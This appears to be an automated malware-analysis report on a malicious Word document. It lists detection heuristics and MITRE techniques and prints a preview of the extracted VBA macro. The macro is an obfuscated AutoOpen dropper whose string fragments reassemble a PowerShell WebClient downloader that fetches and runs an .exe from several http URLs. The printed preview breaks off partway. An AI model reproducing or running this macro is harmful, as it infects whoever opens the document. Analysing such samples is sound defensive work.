MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function to execute a downloaded payload from the reconstructed URL 'http://www.example.com/payload.exe'. The presence of the Shell() call and the AutoOpen macro strongly indicate a downloader or dropper functionality.
Heuristics 7
-
ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 40293 bytes |
SHA-256: ea4d2dfe0748179e6971308739c5b5acae5456d6419437aa134307759af9e231 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "KCUKtiQ"
Sub AutoOpen()
On Error Resume Next
XUzGKQRRi = 8 + CDbl(WmwuzBlsuTTP) / (JIAOYEsVLj + ChrB(zKijrXcIBzzGjm / ChrW(847) * ZRfTkwHwqwJ - Sgn(342)))
BsNpQKCAz = 8 + CDbl(WFAWrLNZLBTc) / (iaqswzpOohiVjv + ChrB(jnDjoqDM / ChrW(847) * wsmuWizpZzi - Sgn(342)))
OZRDCIXiY = 8 + CDbl(AIQBpYwnn) / (bOMvGLv + ChrB(JksvlNzJVzijS / ChrW(847) * oMwjWshGzC - Sgn(342)))
msGANVzrN = 8 + CDbl(YoZEXDEfCwJ) / (mHZzzWpC + ChrB(DkqJtGww / ChrW(847) * CnTnvAm - Sgn(342)))
Application.Run "PMGiOnZ", hfhzIjdL
rMSoBDAtj = 8 + CDbl(zaNWaBK) / (VDjvdwHjCw + ChrB(nzLZNIKWNJ / ChrW(847) * kwdoHVi - Sgn(342)))
iblISazCv = 8 + CDbl(WjRAEXsGoBAN) / (fzKVSmSpo + ChrB(AYVkfjkcKMbz / ChrW(847) * szjZkiTUiQKF - Sgn(342)))
LHFiQcthv = 8 + CDbl(cimNZDZqB) / (fQSWmNiHVRSIK + ChrB(UZfzukhSlbX / ChrW(847) * nXIPvrPVZupjrD - Sgn(342)))
umMdwUYGs = 8 + CDbl(YbwRHNirzpZKwF) / (atoFZkwGqp + ChrB(GIdCYjiJrTvzOM / ChrW(847) * wkCdjnGGX - Sgn(342)))
End Sub
Function hfhzIjdL()
On Error Resume Next
fRPdI = ("IcBwWutLVMeTfh+TfhssTfh+Tfhence-communiTfh+Tfht'+'Tfh+TlI8+lI8fhy.fr/Tfh+TlI8+lI8fh1Tfh+TfhGgTfh+Tf'+'hLWQ/Tfh+Tfh,TflI8+lI8h+'+'TlI8+lI8fhhttTfh+TlI8+lI8fhpTfh+'+'TlI8+lI8HoAjm0DIhs9rl7RdKhTMpczG0")
iSfNHG = 8 + CDbl(IUzniqLrj) / (GzLJZEBikUQzE + ChrB(QFIiCLUnA / ChrW(847) * iwYWSpYBujJSv - Sgn(342)))
iSSJk = Mid(fRPdI, 11, 161)
SKNIIsRSn = 8 + CDbl(zjhYrhALPhXdic) / (VVSzUfaffPuwP + ChrB(VIwKMlS / ChrW(847) * wvTrTjqzpHv - Sgn(342)))
ajzpkHK = ("DuJqtYW7mrRWf6bzQVlTWNm00cHO4mTlI8+lI8fh+TfhhlI8+lI8(Tfh+TfheG4fdRqDa4s")
VKwTlD = 8 + CDbl(anziGKpRa) / (mEphoUnwEj + ChrB(XiJjhfmHu / ChrW(847) * adHRmXzVBBXF - Sgn(342)))
hDNbzuJ = Mid(ajzpkHK, 31, 33)
DJzITsMW = 8 + CDbl(BwNvSzr) / (qhADEpwZfCKf + ChrB(LahQCwpdDirR / ChrW(847) * InTjTKCAjwH - Sgn(342)))
iSzBjrI = ("PC6XSiVSZfiOpfUPE1kG4h+T'+'fhGTfh+Tfht1Tfh+Tfh.exeTfh+TfhGTfh+Tfht1;forelI8+lI8aTfh+Tfhcfd")
iHLSu = 8 + CDbl(nEDJBtvtw) / (FBnqaPNwjNr + ChrB(iunKaGW / ChrW(847) * tSNuSrfqbrj - Sgn(342)))
YUpvw = Mid(iSzBjrI, 22, 67)
JVtASMJA = 8 + CDbl(bYPLErGRQvZG) / (iaIVqTpXUj + ChrB(osXjjXVsjGdFf / ChrW(847) * GjzFNwsHUjR - Sgn(342)))
wjtDap = ("TVVtjpnO6res.Tfh+TfhcTfh+Tfhom/pTfh+TfhqZTfh+TfhzbTfh+TfhwTfh+Tfh/,hTfh+TfhttpTfh+Tfh://foI")
RcWmQfcQrWA = 8 + CDbl(uPcXTYL) / (BiwuaAoAwAEi + ChrB(nfEWqqNjajEap / ChrW(847) * UNunMiwVJVRcj - Sgn(342)))
jGqBVdYs = Mid(wjtDap, 10, 79)
BQbJAGVsUJ = 8 + CDbl(pwVLTNHkXBd) / (zwbvrTlLUnBN + ChrB(zsSWjEOHiuiNt / ChrW(847) * bijptJil - Sgn(342)))
otbiPtrWsb = ("ZXiTm2O61aj6vaaLatQhCTflI8+lI8h+Tfh343245)Tfh+Tfh;eTfh+Tf'+'hGTfh+Tfh4Tfh+Tfhhua'+'Tfh+TflI8+lI82Y")
PUBoo = 8 + CDbl(VAwvDWvwijmju) / (EmFGFcREjrq + ChrB(rMNdYZDjOwMIK / ChrW(847) * zaiYSrozozzTj - Sgn(342)))
ffzzHcbfaaH = Mid(otbiPtrWsb, 22, 75)
zlwGlnhrD = 8 + CDbl(cRQFELfijBH) / (dKLHZzvNi + ChrB(aLYzCtYQiFsYH / ChrW(847) * fHDwMPrdRFNilj - Sgn(342)))
hkRWic = ("FlJTfh+'+'TfhecTfh+Tfht random;Tfh+TfheG4bcdTfh+Tf'+'h Tf'+'h+Tfh=Tfh+Tfh Gt1Tfh+Tfhhttp:TfhlI8+lIHjwSVtQ5MKbi BGQOK5cwk4sz")
BhlSTRnvumf = 8 + CDbl(awqbEYGOkIb) / (FEJaSkntMN + ChrB(kdTavUvjhH / ChrW(847) * suGZLZr - Sgn(342)))
Ljnai = Mid(hkRWic, 4, 95)
mspXIORomqv = 8 + CDbl(icwllnSHHoi) / (NMfGwlwKu + ChrB(cuPEMOTsZNChf / ChrW(847) * nrhmdNnswtnfP - Sgn(342)))
FnrFiQ = ("ap0YGN0pmSj314fh8+lI8+Tfht.WeTfhlI8+lI8+TfhbTfh+TfhClieTfhlI8+lI8+Tfhn'+'t;TLS9pmb9fDM9Ri8BU4vX")
ZAwvWWLCOO = 8 + CDbl(zmVwnqkWA) / (ZaYdiiGz + ChrB(iUWPzEpQGzP / ChrW(847) * EUzPhpkuwhjCzH - Sgn(342)))
zGJnFfzivIp = Mid(FnrFiQ, 17, 59)
zLNNfQRhl = 8 + CDbl(iGRnKjX) / (wcWVszZiWkSU + ChrB(aNwsWDd / ChrW(847) * kUQswLJ - Sgn(342)))
ZukiuikoQV = ("mQ9uMXtUP4dEn3WVCHhsTfh+TfhaTlI8+lI8fh+TfhgeTfh+Tfh;}Tfh+Tfh}Tfh)-RelI8+lI8PLACe TfheG4Tf'+'h,[cHar]36 -cRePLACE([cHar]71+[cHa'+'r]116+[cHar]49),[UhzNPlOdw")
wkVivzlbrt = 8 + CDbl(CiFwIQUQRi) / (Api
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.